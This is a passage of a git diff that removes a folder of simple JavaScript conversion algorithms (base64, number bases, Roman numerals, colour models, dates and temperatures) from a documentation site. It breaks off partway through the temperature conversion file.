-// > convertArbitraryBase('98', '0123456789', 'abcdefgh')
-// 'bec'
-// > convertArbitraryBase('129', '0123456789', '01234567')
-// '201'
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/ArrayBufferToBase64.js b/docs/content/DS_ALGO/algorithms/Conversions/ArrayBufferToBase64.js
deleted file mode 100644
index 820cac189d..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/ArrayBufferToBase64.js
+++ /dev/null
@@ -1,31 +0,0 @@
-// About base64: https://en.wikipedia.org/wiki/Base64
-/**
- * Converts an array of bytes to base64 encoding
- * @param {ArrayBuffer} binaryData An ArrayBuffer which represents an array of bytes
- * @returns {string} A string containing the base64 encoding of `binaryData`
- */
-function bufferToBase64(binaryData) {
-    // The base64 encoding uses the following set of characters to encode any binary data as text
-    const base64Table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
-    // Every 3 bytes translates to 4 base64 characters, if we have less than 3 bytes we must append '=' chars as padding
-    const padding = 3 - (binaryData.byteLength % 3);
-    // Create an instance of Uint8Array, to read from the binaryData array buffer
-    const byteView = new Uint8Array(binaryData);
-    let result = '';
-    // Loop through all bytes in the buffer, in increments of 3 bytes
-    for (let i = 0; i < byteView.byteLength; i += 3) {
-        // Get the index for the next 4 base64 chars
-        const char1 = (byteView[i] & 252) >> 2;
-        const char2 = ((byteView[i] & 3) << 4) + ((byteView[i + 1] & 240) >> 4);
-        const char3 = ((byteView[i + 1] & 15) << 2) + ((byteView[i + 2] & 192) >> 6);
-        const char4 = byteView[i + 2] & 63;
-        result += base64Table[char1] + base64Table[char2] + base64Table[char3] + base64Table[char4];
-    }
-    // Add padding '=' chars if needed
-    if (padding !== 3) {
-        const paddedResult = result.slice(0, result.length - padding) + '='.repeat(padding);
-        return paddedResult;
-    }
-    return result;
-}
-export { bufferToBase64 };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/Base64ToArrayBuffer.js b/docs/content/DS_ALGO/algorithms/Conversions/Base64ToArrayBuffer.js
deleted file mode 100644
index 7bc2299960..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/Base64ToArrayBuffer.js
+++ /dev/null
@@ -1,40 +0,0 @@
-// About base64: https://en.wikipedia.org/wiki/Base64
-/**
- * Converts a base64 string to an array of bytes
- * @param {string} b64 A base64 string
- * @returns {ArrayBuffer} An ArrayBuffer representing the bytes encoded by the base64 string
- */
-function base64ToBuffer(b64) {
-    // The base64 encoding uses the following set of characters to encode any binary data as text
-    const base64Table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
-    // Find the index of char '=' first occurrence
-    const paddingIdx = b64.indexOf('=');
-    // Remove padding chars from base64 string, if there are any
-    const b64NoPadding = paddingIdx !== -1 ? b64.slice(0, paddingIdx) : b64;
-    // Calculate the length of the result buffer
-    const bufferLength = Math.floor((b64NoPadding.length * 6) / 8);
-    // Create the result buffer
-    const result = new ArrayBuffer(bufferLength);
-    // Create an instance of Uint8Array, to write to the `result` buffer
-    const byteView = new Uint8Array(result);
-    // Loop through all chars in the base64 string, in increments of 4 chars, and in increments of 3 bytes
-    for (let i = 0, j = 0; i < b64NoPadding.length; i += 4, j += 3) {
-        // Get the index of the next 4 base64 chars
-        const b64Char1 = base64Table.indexOf(b64NoPadding[i]);
-        const b64Char2 = base64Table.indexOf(b64NoPadding[i + 1]);
-        let b64Char3 = base64Table.indexOf(b64NoPadding[i + 2]);
-        let b64Char4 = base64Table.indexOf(b64NoPadding[i + 3]);
-        // If base64 chars 3 and 4 don't exit, then set them to 0
-        if (b64Char3 === -1) b64Char3 = 0;
-        if (b64Char4 === -1) b64Char4 = 0;
-        // Calculate the next 3 bytes
-        const byte1 = (b64Char1 << 2) + ((b64Char2 & 48) >> 4);
-        const byte2 = ((b64Char2 & 15) << 4) + ((b64Char3 & 60) >> 2);
-        const byte3 = ((b64Char3 & 3) << 6) + b64Char4;
-        byteView[j] = byte1;
-        byteView[j + 1] = byte2;
-        byteView[j + 2] = byte3;
-    }
-    return result;
-}
-export { base64ToBuffer };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/BinaryToDecimal.js b/docs/content/DS_ALGO/algorithms/Conversions/BinaryToDecimal.js
deleted file mode 100644
index 181ab7445f..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/BinaryToDecimal.js
+++ /dev/null
@@ -1,8 +0,0 @@
-export default function binaryToDecimal(binaryString) {
-    let decimalNumber = 0;
-    const binaryDigits = binaryString.split('').reverse(); // Splits the binary number into reversed single digits
-    binaryDigits.forEach((binaryDigit, index) => {
-        decimalNumber += binaryDigit * Math.pow(2, index); // Summation of all the decimal converted digits
-    });
-    return decimalNumber;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/BinaryToHex.js b/docs/content/DS_ALGO/algorithms/Conversions/BinaryToHex.js
deleted file mode 100644
index 90bddde8b7..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/BinaryToHex.js
+++ /dev/null
@@ -1,68 +0,0 @@
-const pad = (num, padlen) => {
-    const pad = new Array(1 + padlen).join(0);
-    return (pad + num).slice(-pad.length);
-};
-const hexLookup = (bin) => {
-    let binary = bin;
-    if (binary.length < 4) {
-        binary = pad(binary, 4);
-    }
-    switch (binary) {
-        case '0000':
-            return '0';
-        case '0001':
-            return '1';
-        case '0010':
-            return '2';
-        case '0011':
-            return '3';
-        case '0100':
-            return '4';
-        case '0101':
-            return '5';
-        case '0110':
-            return '6';
-        case '0111':
-            return '7';
-        case '1000':
-            return '8';
-        case '1001':
-            return '9';
-        case '1010':
-            return 'A';
-        case '1011':
-            return 'B';
-        case '1100':
-            return 'C';
-        case '1101':
-            return 'D';
-        case '1110':
-            return 'E';
-        case '1111':
-            return 'F';
-    }
-};
-const binaryToHex = (binaryString) => {
-    /*
-  Function for convertung Binary to Hex
-  1. The conversion will start from Least Significant Digit (LSB) to the Most Significant Bit (MSB).
-  2. We divide the bits into sections of 4-bits starting from LSB to MSB.
-  3. If the MSB get less than 4 bits, then we pad 0s to the front of it.
-  For Example:
-  Binary String = '1001101'
-  1. Divide it to 2 parts => ['100', '1101']
-  2. Pad 0s the MSB so it'll be => ['0100', '1101']
-  3. Use the lookup table and merge them, therefore the result is 4D.
-  */
-    let result = '';
-    binaryString = binaryString.split('');
-    for (let i = binaryString.length - 1; i >= 0; i = i - 4) {
-        if (i >= 3) {
-            result += hexLookup(binaryString.slice(i - 3, i + 1).join(''));
-        } else {
-            result += hexLookup(binaryString.slice(0, i + 1).join(''));
-        }
-    }
-    return result.split('').reverse().join('');
-};
-export default binaryToHex;
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DateDayDifference.js b/docs/content/DS_ALGO/algorithms/Conversions/DateDayDifference.js
deleted file mode 100644
index 9359a71151..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DateDayDifference.js
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
-    DateDayDifference Method
-    ------------------------
-    DateDayDifference method calculates the number of days between two dates.
-    Algorithm & Explanation : https://ncalculators.com/time-date/date-difference-calculator.htm
-*/
-// Internal method for make calculations easier
-const isLeap = (year) => {
-    if (year % 400 === 0) return true;
-    else if (year % 100 === 0) return false;
-    else if (year % 4 === 0) return true;
-    else return false;
-};
-const DateToDay = (dd, mm, yyyy) => {
-    return Math.floor(
-        365 * (yyyy - 1) + (yyyy - 1) / 4 - (yyyy - 1) / 100 + (yyyy - 1) / 400 + dd + (367 * mm - 362) / 12 + (mm <= 2 ? 0 : isLeap(yyyy) ? -1 : -2)
-    );
-};
-const DateDayDifference = (date1, date2) => {
-    // firstly, check that both input are string or not.
-    if (typeof date1 !== 'string' && typeof date2 !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    // extract the first date
-    const [firstDateDay, firstDateMonth, firstDateYear] = date1.split('/').map((ele) => Number(ele));
-    // extract the second date
-    const [secondDateDay, secondDateMonth, secondDateYear] = date2.split('/').map((ele) => Number(ele));
-    // check the both data are valid or not.
-    if (
-        firstDateDay < 0 ||
-        firstDateDay > 31 ||
-        firstDateMonth > 12 ||
-        firstDateMonth < 0 ||
-        secondDateDay < 0 ||
-        secondDateDay > 31 ||
-        secondDateMonth > 12 ||
-        secondDateMonth < 0
-    ) {
-        return new TypeError('Date is not valid.');
-    }
-    return Math.abs(DateToDay(secondDateDay, secondDateMonth, secondDateYear) - DateToDay(firstDateDay, firstDateMonth, firstDateYear));
-};
-// Example : DateDayDifference('17/08/2002', '10/10/2020') => 6630
-export { DateDayDifference };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DateToDay.js b/docs/content/DS_ALGO/algorithms/Conversions/DateToDay.js
deleted file mode 100644
index ac371d4797..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DateToDay.js
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
-                    DateToDay Method
-                    ----------------
-    The DateToDay method takes a date in string format and
-    returns the name of a day. The approach behind this method
-    is very simple, we first take a string date and check
-    whether their date is valid or not, if the date is valid
-    then we do this But apply the algorithm shown below. The
-    algorithm shown below gives us the number of the day and
-    finally converts it to the name of the day.
-    Algorithm & Explanation : https://cs.uwaterloo.ca/~alopez-o/math-faq/node73.html
-*/
-// March is taken as the first month of the year.
-const calcMonthList = {
-    1: 11,
-    2: 12,
-    3: 1,
-    4: 2,
-    5: 3,
-    6: 4,
-    7: 5,
-    8: 6,
-    9: 7,
-    10: 8,
-    11: 9,
-    12: 10
-};
-// show the week day in a number : Sunday - Saturday => 0 - 6
-const daysNameList = {
-    // weeks-day
-    0: 'Sunday',
-    1: 'Monday',
-    2: 'Tuesday',
-    3: 'Wednesday',
-    4: 'Thursday',
-    5: 'Friday',
-    6: 'Saturday'
-};
-const DateToDay = (date) => {
-    // firstly, check that input is a string or not.
-    if (typeof date !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    // extract the date
-    const [day, month, year] = date.split('/').map((x) => Number(x));
-    // check the data are valid or not.
-    if (day < 0 || day > 31 || month > 12 || month < 0) {
-        return new TypeError('Date is not valid.');
-    }
-    // divide year to century and yearDigit value.
-    const yearDigit = year % 100;
-    const century = Math.floor(year / 100);
-    // Apply the algorithm shown above
-    const weekDay = Math.abs(
-        (day + Math.floor(2.6 * calcMonthList[month] - 0.2) - 2 * century + yearDigit + Math.floor(yearDigit / 4) + Math.floor(century / 4)) % 7
-    );
-    // return the weekDay name.
-    return daysNameList[weekDay];
-};
-// Example : DateToDay("18/12/2020") => Friday
-export { DateToDay };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToBinary.js b/docs/content/DS_ALGO/algorithms/Conversions/DecimalToBinary.js
deleted file mode 100644
index 0a72ba50f2..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToBinary.js
+++ /dev/null
@@ -1,15 +0,0 @@
-function decimalToBinary(num) {
-    const bin = [];
-    while (num > 0) {
-        bin.unshift(num % 2);
-        num >>= 1; // basically /= 2 without remainder if any
-    }
-    return bin.join('');
-}
-export { decimalToBinary };
-// > decimalToBinary(2)
-// '10'
-// > decimalToBinary(7)
-// '111'
-// > decimalToBinary(35)
-// '100011'
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToHex.js b/docs/content/DS_ALGO/algorithms/Conversions/DecimalToHex.js
deleted file mode 100644
index c2c15ee2e3..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToHex.js
+++ /dev/null
@@ -1,26 +0,0 @@
-function intToHex(num) {
-    switch (num) {
-        case 10:
-            return 'A';
-        case 11:
-            return 'B';
-        case 12:
-            return 'C';
-        case 13:
-            return 'D';
-        case 14:
-            return 'E';
-        case 15:
-            return 'F';
-    }
-    return num;
-}
-function decimalToHex(num) {
-    const hexOut = [];
-    while (num > 15) {
-        hexOut.unshift(intToHex(num % 16));
-        num = Math.floor(num / 16);
-    }
-    return intToHex(num) + hexOut.join('');
-}
-export { decimalToHex };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToOctal.js b/docs/content/DS_ALGO/algorithms/Conversions/DecimalToOctal.js
deleted file mode 100644
index 0861a83593..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToOctal.js
+++ /dev/null
@@ -1,21 +0,0 @@
-function decimalToOctal(num) {
-    let oct = 0;
-    let c = 0;
-    while (num > 0) {
-        const r = num % 8;
-        oct = oct + r * Math.pow(10, c++);
-        num = Math.floor(num / 8); // basically /= 8 without remainder if any
-    }
-    return oct;
-}
-export { decimalToOctal };
-// > decimalToOctal(2)
-// 2
-// > decimalToOctal(8)
-// 10
-// > decimalToOctal(65)
-// 101
-// > decimalToOctal(216)
-// 330
-// > decimalToOctal(512)
-// 1000
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToRoman.js b/docs/content/DS_ALGO/algorithms/Conversions/DecimalToRoman.js
deleted file mode 100644
index 6d4942021a..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/DecimalToRoman.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/*
-    Decimal To Roman
-    This algorithm take decimal number and convert to roman numeral according to standard form (https://en.wikipedia.org/wiki/Roman_numerals#Description)
-    Algorithm & Explanation : https://www.rapidtables.com/convert/number/how-number-to-roman-numerals.html
-*/
-const values = {
-    M: 1000,
-    CM: 900,
-    D: 500,
-    CD: 400,
-    C: 100,
-    XC: 90,
-    L: 50,
-    XL: 40,
-    X: 10,
-    IX: 9,
-    V: 5,
-    IV: 4,
-    I: 1
-};
-const orders = ['M', 'CM', 'D', 'CD', 'C', 'XC', 'L', 'XL', 'X', 'IX', 'V', 'IV', 'I'];
-function decimalToRoman(num) {
-    let roman = '';
-    for (const symbol of orders) {
-        while (num >= values[symbol]) {
-            roman += symbol;
-            num -= values[symbol];
-        }
-    }
-    return roman;
-}
-export { decimalToRoman };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/HexToBinary.js b/docs/content/DS_ALGO/algorithms/Conversions/HexToBinary.js
deleted file mode 100644
index 63b643cea6..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/HexToBinary.js
+++ /dev/null
@@ -1,34 +0,0 @@
-const binLookup = (key) =>
-    ({
-        0: '0000',
-        1: '0001',
-        2: '0010',
-        3: '0011',
-        4: '0100',
-        5: '0101',
-        6: '0110',
-        7: '0111',
-        8: '1000',
-        9: '1001',
-        a: '1010',
-        b: '1011',
-        c: '1100',
-        d: '1101',
-        e: '1110',
-        f: '1111'
-    }[key.toLowerCase()]); // select the binary number by valid hex key with the help javascript object
-const hexToBinary = (hexString) => {
-    if (typeof hexString !== 'string') {
-        throw new TypeError('Argument is not a string type');
-    }
-    if (/[^\da-f]/gi.test(hexString)) {
-        throw new Error('Argument is not a valid HEX code!');
-    }
-    /*
-    Function for converting Hex to Binary
-    1. We convert every hexadecimal bit to 4 binary bits
-    2. Conversion goes by searching in the lookup table
-  */
-    return hexString.replace(/[0-9a-f]/gi, (lexeme) => binLookup(lexeme));
-};
-export default hexToBinary;
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/HexToDecimal.js b/docs/content/DS_ALGO/algorithms/Conversions/HexToDecimal.js
deleted file mode 100644
index 861ff86e6a..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/HexToDecimal.js
+++ /dev/null
@@ -1,28 +0,0 @@
-function hexToInt(hexNum) {
-    const numArr = hexNum.split(''); // converts number to array
-    return numArr.map((item, index) => {
-        switch (item) {
-            case 'A':
-                return 10;
-            case 'B':
-                return 11;
-            case 'C':
-                return 12;
-            case 'D':
-                return 13;
-            case 'E':
-                return 14;
-            case 'F':
-                return 15;
-            default:
-                return parseInt(item);
-        }
-    });
-}
-function hexToDecimal(hexNum) {
-    const intItemsArr = hexToInt(hexNum);
-    return intItemsArr.reduce((accumulator, current, index) => {
-        return accumulator + current * Math.pow(16, intItemsArr.length - (1 + index));
-    }, 0);
-}
-export { hexToInt, hexToDecimal };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/HexToRGB.js b/docs/content/DS_ALGO/algorithms/Conversions/HexToRGB.js
deleted file mode 100644
index 1895e2c095..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/HexToRGB.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function hexStringToRGB(hexString) {
-    let r = hexString.substring(0, 2);
-    let g = hexString.substring(2, 4);
-    let b = hexString.substring(4, 6);
-    r = parseInt(r, 16);
-    g = parseInt(g, 16);
-    b = parseInt(b, 16);
-    const obj = { r, g, b };
-    return obj;
-}
-export { hexStringToRGB };
-// > hexStringToRGB('ffffff')
-// { r: 255, g: 255, b: 255 }
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/LowerCaseConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/LowerCaseConversion.js
deleted file mode 100644
index d874399e5c..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/LowerCaseConversion.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-    Explanation :- a user gives a String (it can be incomplete uppercase or
-        partial uppercase) and then the program would convert it into a
-        complete(all characters in lower case) lower case string. The
-        logic we have used in the following program is: All the upper case
-        characters (A-Z) has ASCII value ranging from 65 to 90 and their
-        corresponding lower case characters (a-z) have ASCII values 32
-        greater than them. For example ‘A‘ has an ASCII value of 65
-        and ‘a‘ has an ASCII value of 97 (65+32). The same applies to other
-        characters.
-*/
-/**
- * LowerCaseConversion takes any case-style string and converts it to the lower case-style string.
- * @param {String} inputString any case style string
- * @returns {String} lower case string
- */
-const LowerCaseConversion = (inputString) => {
-    // Take a string and split it into characters.
-    const newString = inputString.split('').map((char) => {
-        // Get a character code by the use charCodeAt method.
-        const presentCharCode = char.charCodeAt();
-        // If the character code lies between 65 to 90 it means they are in the upper case so convert it.
-        if (presentCharCode >= 65 && presentCharCode <= 90) {
-            // Convert the case by use of the above explanation.
-            return String.fromCharCode(presentCharCode + 32);
-        }
-        // Else return the characters without any modification.
-        return char;
-    });
-    // After modification, with the help of the join method, join all the characters and return them.
-    return newString.join('');
-};
-export { LowerCaseConversion };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/MeterToFeetConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/MeterToFeetConversion.js
deleted file mode 100644
index 0074022f6f..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/MeterToFeetConversion.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// Foot: https://en.wikipedia.org/wiki/Foot_(unit)
-const feetToMeter = (feet) => {
-    return feet * 0.3048;
-};
-const meterToFeet = (meter) => {
-    return meter / 0.3048;
-};
-export { feetToMeter, meterToFeet };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/OctToDecimal.js b/docs/content/DS_ALGO/algorithms/Conversions/OctToDecimal.js
deleted file mode 100644
index 5f6ab83e6b..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/OctToDecimal.js
+++ /dev/null
@@ -1,16 +0,0 @@
-function octalToDecimal(num) {
-    let dec = 0;
-    let base = 1;
-    while (num > 0) {
-        const r = num % 10;
-        num = Math.floor(num / 10);
-        dec = dec + r * base;
-        base = base * 8;
-    }
-    return dec;
-}
-export { octalToDecimal };
-// > octalToDecimal(56)
-// 46
-// > octalToDecimal(2365)
-// 1269
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/RGBToHex.js b/docs/content/DS_ALGO/algorithms/Conversions/RGBToHex.js
deleted file mode 100644
index 7663861c9c..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/RGBToHex.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function RGBToHex(r, g, b) {
-    if (typeof r !== 'number' || typeof g !== 'number' || typeof b !== 'number') {
-        throw new TypeError('argument is not a Number');
-    }
-    const toHex = (n) => (n || '0').toString(16).padStart(2, '0');
-    return `#${toHex(r)}${toHex(g)}${toHex(b)}`;
-}
-export { RGBToHex };
-// > RGBToHex(255, 255, 255)
-// '#ffffff'
-// > RGBToHex(255, 99, 71)
-// '#ff6347'
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/RailwayTimeConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/RailwayTimeConversion.js
deleted file mode 100644
index 28bcf3a3f3..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/RailwayTimeConversion.js
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
-    The time conversion of normalized time to the railway is a simple algorithm
-    because we know that if the time is in 'AM' value it means they only want
-    some changes on hours and minutes and if the time in 'PM' it means the only
-    want some changes in hour value.
-    Input Format -> 07:05:45PM
-    Output Format -> 19:05:45
-    Problem & Explanation Source : https://www.mathsisfun.com/time.html
-*/
-/**
- * RailwayTimeConversion method converts normalized time string to Railway time string.
- * @param {String} timeString Normalized time string.
- * @returns {String} Railway time string.
- */
-const RailwayTimeConversion = (timeString) => {
-    // firstly, check that input is a string or not.
-    if (typeof timeString !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    // split the string by ':' character.
-    const [hour, minute, scondWithShift] = timeString.split(':');
-    // split second and shift value.
-    const [second, shift] = [scondWithShift.substr(0, 2), scondWithShift.substr(2)];
-    // convert shifted time to not-shift time(Railway time) by using the above explanation.
-    if (shift === 'PM') {
-        if (parseInt(hour) === 12) {
-            return `${hour}:${minute}:${second}`;
-        } else {
-            return `${parseInt(hour) + 12}:${minute}:${second}`;
-        }
-    } else {
-        if (parseInt(hour) === 12) {
-            return `00:${minute}:${second}`;
-        } else {
-            return `${hour}:${minute}:${second}`;
-        }
-    }
-};
-export { RailwayTimeConversion };
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/RgbHsvConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/RgbHsvConversion.js
deleted file mode 100644
index d5a50b2c15..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/RgbHsvConversion.js
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * The RGB color model is an additive color model in which red, green, and blue light are added
- * together in various ways to reproduce a broad array of colors. The name of the model comes from
- * the initials of the three additive primary colors, red, green, and blue. Meanwhile, the HSV
- * representation models how colors appear under light. In it, colors are represented using three
- * components: hue, saturation and (brightness-)value. This file provides functions for converting
- * colors from one representation to the other. (description adapted from
- * https://en.wikipedia.org/wiki/RGB_color_model and https://en.wikipedia.org/wiki/HSL_and_HSV).
- */
-/**
- * Conversion from the HSV-representation to the RGB-representation.
- *
- * @param hue Hue of the color.
- * @param saturation Saturation of the color.
- * @param value Brightness-value of the color.
- * @return The tuple of RGB-components.
- */
-export function hsvToRgb(hue, saturation, value) {
-    if (hue < 0 || hue > 360) {
-        throw new Error('hue should be between 0 and 360');
-    }
-    if (saturation < 0 || saturation > 1) {
-        throw new Error('saturation should be between 0 and 1');
-    }
-    if (value < 0 || value > 1) {
-        throw new Error('value should be between 0 and 1');
-    }
-    const chroma = value * saturation;
-    const hueSection = hue / 60;
-    const secondLargestComponent = chroma * (1 - Math.abs((hueSection % 2) - 1));
-    const matchValue = value - chroma;
-    return getRgbBySection(hueSection, chroma, matchValue, secondLargestComponent);
-}
-/**
- * Conversion from the RGB-representation to the HSV-representation.
- *
- * @param red Red-component of the color.
- * @param green Green-component of the color.
- * @param blue Blue-component of the color.
- * @return The tuple of HSV-components.
- */
-export function rgbToHsv(red, green, blue) {
-    if (red < 0 || red > 255) {
-        throw new Error('red should be between 0 and 255');
-    }
-    if (green < 0 || green > 255) {
-        throw new Error('green should be between 0 and 255');
-    }
-    if (blue < 0 || blue > 255) {
-        throw new Error('blue should be between 0 and 255');
-    }
-    const dRed = red / 255;
-    const dGreen = green / 255;
-    const dBlue = blue / 255;
-    const value = Math.max(Math.max(dRed, dGreen), dBlue);
-    const chroma = value - Math.min(Math.min(dRed, dGreen), dBlue);
-    const saturation = value === 0 ? 0 : chroma / value;
-    let hue;
-    if (chroma === 0) {
-        hue = 0;
-    } else if (value === dRed) {
-        hue = 60 * ((dGreen - dBlue) / chroma);
-    } else if (value === dGreen) {
-        hue = 60 * (2 + (dBlue - dRed) / chroma);
-    } else {
-        hue = 60 * (4 + (dRed - dGreen) / chroma);
-    }
-    hue = (hue + 360) % 360;
-    return [hue, saturation, value];
-}
-export function approximatelyEqualHsv(hsv1, hsv2) {
-    const bHue = Math.abs(hsv1[0] - hsv2[0]) < 0.2;
-    const bSaturation = Math.abs(hsv1[1] - hsv2[1]) < 0.002;
-    const bValue = Math.abs(hsv1[2] - hsv2[2]) < 0.002;
-    return bHue && bSaturation && bValue;
-}
-function getRgbBySection(hueSection, chroma, matchValue, secondLargestComponent) {
-    function convertToInt(input) {
-        return Math.round(255 * input);
-    }
-    let red;
-    let green;
-    let blue;
-    if (hueSection >= 0 && hueSection <= 1) {
-        red = convertToInt(chroma + matchValue);
-        green = convertToInt(secondLargestComponent + matchValue);
-        blue = convertToInt(matchValue);
-    } else if (hueSection > 1 && hueSection <= 2) {
-        red = convertToInt(secondLargestComponent + matchValue);
-        green = convertToInt(chroma + matchValue);
-        blue = convertToInt(matchValue);
-    } else if (hueSection > 2 && hueSection <= 3) {
-        red = convertToInt(matchValue);
-        green = convertToInt(chroma + matchValue);
-        blue = convertToInt(secondLargestComponent + matchValue);
-    } else if (hueSection > 3 && hueSection <= 4) {
-        red = convertToInt(matchValue);
-        green = convertToInt(secondLargestComponent + matchValue);
-        blue = convertToInt(chroma + matchValue);
-    } else if (hueSection > 4 && hueSection <= 5) {
-        red = convertToInt(secondLargestComponent + matchValue);
-        green = convertToInt(matchValue);
-        blue = convertToInt(chroma + matchValue);
-    } else {
-        red = convertToInt(chroma + matchValue);
-        green = convertToInt(matchValue);
-        blue = convertToInt(secondLargestComponent + matchValue);
-    }
-    return [red, green, blue];
-}
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/RomanToDecimal.js b/docs/content/DS_ALGO/algorithms/Conversions/RomanToDecimal.js
deleted file mode 100644
index 076ccbc858..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/RomanToDecimal.js
+++ /dev/null
@@ -1,28 +0,0 @@
-const values = {
-    I: 1,
-    V: 5,
-    X: 10,
-    L: 50,
-    C: 100,
-    D: 500,
-    M: 1000
-};
-export function romanToDecimal(romanNumber) {
-    let prev = ' ';
-    let sum = 0;
-    let newPrev = 0;
-    for (let i = romanNumber.length - 1; i >= 0; i--) {
-        const c = romanNumber.charAt(i);
-        if (prev !== ' ') {
-            newPrev = values[prev] > newPrev ? values[prev] : newPrev;
-        }
-        const currentNum = values[c];
-        if (currentNum >= newPrev) {
-            sum += currentNum;
-        } else {
-            sum -= currentNum;
-        }
-        prev = c;
-    }
-    return sum;
-}
diff --git a/docs/content/DS_ALGO/algorithms/Conversions/TemperatureConversion.js b/docs/content/DS_ALGO/algorithms/Conversions/TemperatureConversion.js
deleted file mode 100644
index 67c0351d46..0000000000
--- a/docs/content/DS_ALGO/algorithms/Conversions/TemperatureConversion.js
+++ /dev/null
@@ -1,96 +0,0 @@
-// This files has functions to convert different temperature units
-// Functions take temperature value as a argument and returns corresponding converted value
-const celsiusToFahrenheit = (celsius) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    return Math.round((celsius * 9) / 5 + 32);
-};
-const celsiusToKelvin = (celsius) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    return Math.round(celsius + 273.15);
-};
-const celsiusToRankine = (celsius) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    return Math.round((celsius * 9) / 5 + 491.67);
-};
-const fahrenheitToCelsius = (fahrenheit) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    return Math.round(((fahrenheit - 32) * 5) / 9);
-};
-const fahrenheitToKelvin = (fahrenheit) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    return Math.round(((fahrenheit - 32) * 5) / 9 + 273.15);
-};
-const fahrenheitToRankine = (fahrenheit) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    return Math.round(fahrenheit + 459.67);
-};
-const kelvinToCelsius = (kelvin) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    return Math.round(kelvin - 273.15);
-};
-const kelvinToFahrenheit = (kelvin) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    return Math.round(((kelvin - 273.15) * 9) / 5 + 32);
-};
-const kelvinToRankine = (kelvin) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Kelvin
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    return Math.round((kelvin * 9) / 5);
-};
-const rankineToCelsius = (rankine) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Celsius
-    return Math.round(((rankine - 491.67) * 5) / 9);
-};
-const rankineToFahrenheit = (rankine) => {
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Rankine_scale
-    // Wikipedia reference: https://en.wikipedia.org/wiki/Fahrenheit
-    return Math.round(rankine - 459.67);
-};
-const rankineToKelvin = (rankine) => {
